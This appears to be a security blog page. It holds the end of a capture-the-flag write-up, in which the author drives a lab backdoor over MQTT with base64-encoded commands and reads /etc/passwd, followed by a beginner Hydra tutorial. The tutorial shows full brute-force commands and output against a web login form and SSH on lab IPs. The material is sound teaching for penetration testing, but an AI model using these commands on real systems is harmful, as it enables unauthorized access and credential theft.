$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n    Base64({\n        \"id\": \"\",\n        \"cmd\": \"\",\n        \"arg\": \"\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"}   

SYS:

$ echo '{"id": "hacktheplanet", "cmd": "SYS", "arg": ""}' | base64                                                                              
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJTWVMiLCAiYXJnIjogIiJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJTWVMiLCAiYXJnIjogIiJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTGludXggeDY0IDUuNC4wLTEwNS1nZW5lcmljIn0=" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Linux x64 5.4.0-105-generic"}   

Okay, so those were pretty basic. HELP just further explained what we kind of intuited and was kind of a combination of some of what was in the error message we got after our test message and some of what was in the /config topic. I still have one lingering question, though. Was that a user called challenge in the response from my first properly formatted message? Let’s check the /etc/passwd file… turns out, yes, the user was called challenge (the very last line down there tells us that: challenge:x:1000:1000::/home/challenge:/bin/sh).

$ echo '{"id": "hacktheplanet", "cmd": "CMD", "arg": "cat /etc/passwd"}' | base64                                                                              
eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCAvZXRjL3Bhc3N3ZCJ9Cg==

$ mosquitto_pub -h 10.10.99.76 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m "eyJpZCI6ICJoYWNrdGhlcGxhbmV0IiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImNhdCAvZXRjL3Bhc3N3ZCJ9Cg=="
$ echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoicm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaFxuZGFlbW9uOng6MToxOmRhZW1vbjovdXNyL3NiaW46L3Vzci9zYmluL25vbG9naW5cbmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpblxuc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luXG5zeW5jOng6NDo2NTUzNDpzeW5jOi9iaW46L2Jpbi9zeW5jXG5nYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpblxubWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW5cbmxwOng6Nzo3OmxwOi92YXIvc3Bvb2wvbHBkOi91c3Ivc2Jpbi9ub2xvZ2luXG5tYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luXG5uZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luXG51dWNwOng6MTA6MTA6dXVjcDovdmFyL3Nwb29sL3V1Y3A6L3Vzci9zYmluL25vbG9naW5cbnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpblxud3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpblxuYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovdXNyL3NiaW4vbm9sb2dpblxubGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpblxuaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW5cbmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpblxubm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpblxuX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luXG5jaGFsbGVuZ2U6eDoxMDAwOjEwMDA6Oi9ob21lL2NoYWxsZW5nZTovYmluL3NoXG4ifQ==" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nchallenge:x:1000:1000::/home/challenge:/bin/sh\n"} 

That’s all there is. I hope you enjoyed the room. If this helped or you were able to solve or work through it a different way, let me know.

General Tips

Core Tools To Know: Hydra

The Lernaean Hydra from Greek mythologyIn this latest post in our series on Core Tools to Know, I want to talk about Hydra. Hydra is a login cracker that you can use to test your own password strength and lockout policies or as part of your toolkit if you are doing penetration tests or capture the flag events. We’re going to take a look at what Hydra is and give some examples of how you’d use it.

Specifically, Hydra is an open-source network login cracker that supports numerous protocols and services, including SSH, FTP, HTTP, MySQL, and more. It works by performing dictionary-based or brute-force attacks against logins to determine valid credentials. Hydra supports over 50 protocols, including stalwarts like HTTP, SMTP, SSH, and RDP. It is optimized for speed and can do multi-threading to speed up the attacks. It also has a ton of parameters and customizations so that you can get it to do exactly what you want. Because of that, this is only going to be the most entry-est of entry-level tutorials, hopefully enough to expose you to the tool and cause you to dig deeper.

I want to note that Hydra should only be used ethically and with proper authorization (I’m not responsible if you do dumb stuff… I’m also specifically telling you NOT to do illegal stuff).

If you’re using Kali or Parrot OS, Hydra is already in place. If not, you can install it with your favorite package manager and it is usually as simple as this

sudo apt install hydra

Or if you’re so inclined, you can clone the source code from its GitHub repository and compile it manually:

git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
sudo make install

Or, you can run it in docker. This is *probably* the best solution if you want to run it on Windows, though I’d recommend either a Kali VM or even Windows Subsystem for Linux (WSL2), but you do you.

docker pull vanhauser/hydra

So, in order to get started, you need to know the following information:

  • Target Information: The IP address or hostname of the service you’re attacking.
  • Username(s): A single username or a list of potential usernames.
  • Password List: A wordlist containing potential passwords.
  • Protocol: The service or protocol to attack (e.g., ssh, ftp, http).

That might seem like a lot, but in reality you are going to know the IP/hostname because – if not – what are we even doing? You’ll have some password lists you like and have curated or you’ll have some you may have made for this purpose if you’re targeting someone specific. The protocol will just be what thing you’re attempting at each step (you will probably go after several during the event), and the usernames will come from research and open-source intelligence (OSINT).

Let’s start with something easy like a web login form. The first thing we want to do is attempt a login with something basic like admin:admin as the credentials. There is a small chance it will work, but what we really want is to catch how and where the form is posted to. So, go to the page, open up the developer tools in the browser (Ctrl-Shift-I in Chrome, Firefox, and Edge) and go to the network tab. Then, with the Network tab selected, submit the form. You will see a POST happen (most likely) either to a page or to an API. Select that and right click and choose to Copy Value -> Copy as cURL as shown here. You can also see it if you click the network call, select request to the side, and make sure it is toggled to show the raw text that was sent instead of a more user friendly version which doesn’t show the payload.

Copy Login Request as cURL

In this case, here is what I got

curl 'http://10.10.144.63/login' 
-X POST -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0' 
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8' 
-H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' 
-H 'Content-Type: application/x-www-form-urlencoded' 
-H 'Origin: http://10.10.144.63' -H 'Connection: keep-alive' 
-H 'Referer: http://10.10.144.63/login' 
-H 'Cookie: connect.sid=s%3AsYxyPzJA9NW7oZOMmvPElmkqGwB2HGOJ.1PSvC1Y6eppA%2Fm0O7LXyG%2B%2B%2B0y4Ky0sx5IdFD%2F8ICEg' 
-H 'Upgrade-Insecure-Requests: 1' -H 'Priority: u=0, i' --data-raw 'username=admin&password=admin'

What we really need is just this part ‘username=admin&password=admin‘. However, this also tells us what URL was posted to (in this case the host and then /login) and will also include any other headers we might need just in case. Most of this, you can ignore, though. It is also important to know that after my login failed, I got the message “Your username or password is incorrect.” that appeared on the screen. We’ll need to know what about the page changes that occur to let us know we failed a login to tell Hydra how to tell a good login from a bad one.

So, let’s take this and make a Hydra attack. In this case, pretend we already know we’re attacking a user named molly. We’re going to use the rockyou.txt list and we know this was an HTTP POST. The flags for Hydra are case sensitive, so here is what we’ve got:

  • -l means you are providing 1 user name and -L would be if you were passing a list. In this case, we know the user (molly), so we’re doing -l molly
  • -p would be to pass one password and -P is to pass a list. In this case, we’re passing in the entire rockyou.txt file, so we’re doing -P /usr/share/wordlists/rockyou.txt
  • Next is the IP or host that we’re attacking. This doesn’t need a flag and is just the host/IP. In our case, 10.10.144.63
  • Then http-post-form tells it to do a POST. This is another unflagged parameter, but we could also specify something like http-get if that’s what the page was doing. But, since it is doing a standard HTTP POST, we include http-post-form
  • What comes next is a colon-delimited string that has 3 parts:
    • First, what route to hit. In this case it is /login, then the colon.
    • Next, what data to send. That is the username=admin&password=admin part we captured above. We just have to swap out with placeholders of ^USER^ where we want the username to go and ^PASS^ where we want the password to go, so Hydra knows what to fill where on each attempt. Then, another colon.
    • Lastly, F=incorrect is to explain what a failure response looks like. In this case, we’re telling it to look for the presence of the word “incorrect” somewhere in the response body. You would change this to represent whatever the message looks like in your case.
  • Lastly, -V calls for it to be verbose and just show every attempt on the screen. Normally, you may not want to do that since password attempts can be millions of lines long, but I included it here for the teaching aspect.
# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.144.63 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-29 16:42:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.144.63:80/login:username=^USER^&password=^PASS^:F=incorrect
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "password" - 4 of 14344398 [child 3] (0/0)
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "iloveyou" - 5 of 14344398 [child 4] (0/0)
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "princess" - 6 of 14344398 [child 5] (0/0)
// S N I P    T O    S A V E    S P A C E
[ATTEMPT] target 10.10.144.63 - login "molly" - pass "superman" - 49 of 14344398 [child 12] (0/0)
[80][http-post-form] host: 10.10.144.63   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-29 16:42:24

You can see that it did 50 attempts in 12 seconds and found the password of “sunshine”. Almost too easy.

Let’s take a look at SSH brute forcing. It works almost the same way, but we just pass the host as ssh://{HOST} instead of just the IP with some information of a path and HTTP verb. -l and -P are the same, we put the host like described, and here it goes. I didn’t include -V this time, so we just see that it found “butterfly” as the password in six seconds on an underpowered VM.

# hydra -l molly -P /usr/share/wordlists/rockyou.txt ssh://10.10.144.63
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-29 16:44:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://10.10.144.63:22/
[22][ssh] host: 10.10.144.63   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-29 16:44:06

You can do so much more with Hydra, including many more protocols, routing through proxies, etc. With just a simple one line command, you can easily brute force your way through lots of potential login scenarios. However, just make sure of the following:

  • Get Authorization: Always ensure you have explicit permission to test a target.
  • Use Appropriate Wordlists: Tailor your wordlists to the target environment.
  • Monitor Your Activity: Excessive requests can trigger account lockouts or detection systems. During internal tests or external tests, you don’t want to lock out accounts without explicit permission.
  • Respect Legal Boundaries: Unauthorized usage of Hydra can result in severe legal consequences. (Have I mentioned that enough yet?)

That’s it! Hydra is a cornerstone tool for capture the flag enthusiasts, penetration testers, and security researchers. By understanding its functionality and practicing ethical usage, you can harness its capabilities to improve security postures. Have fun.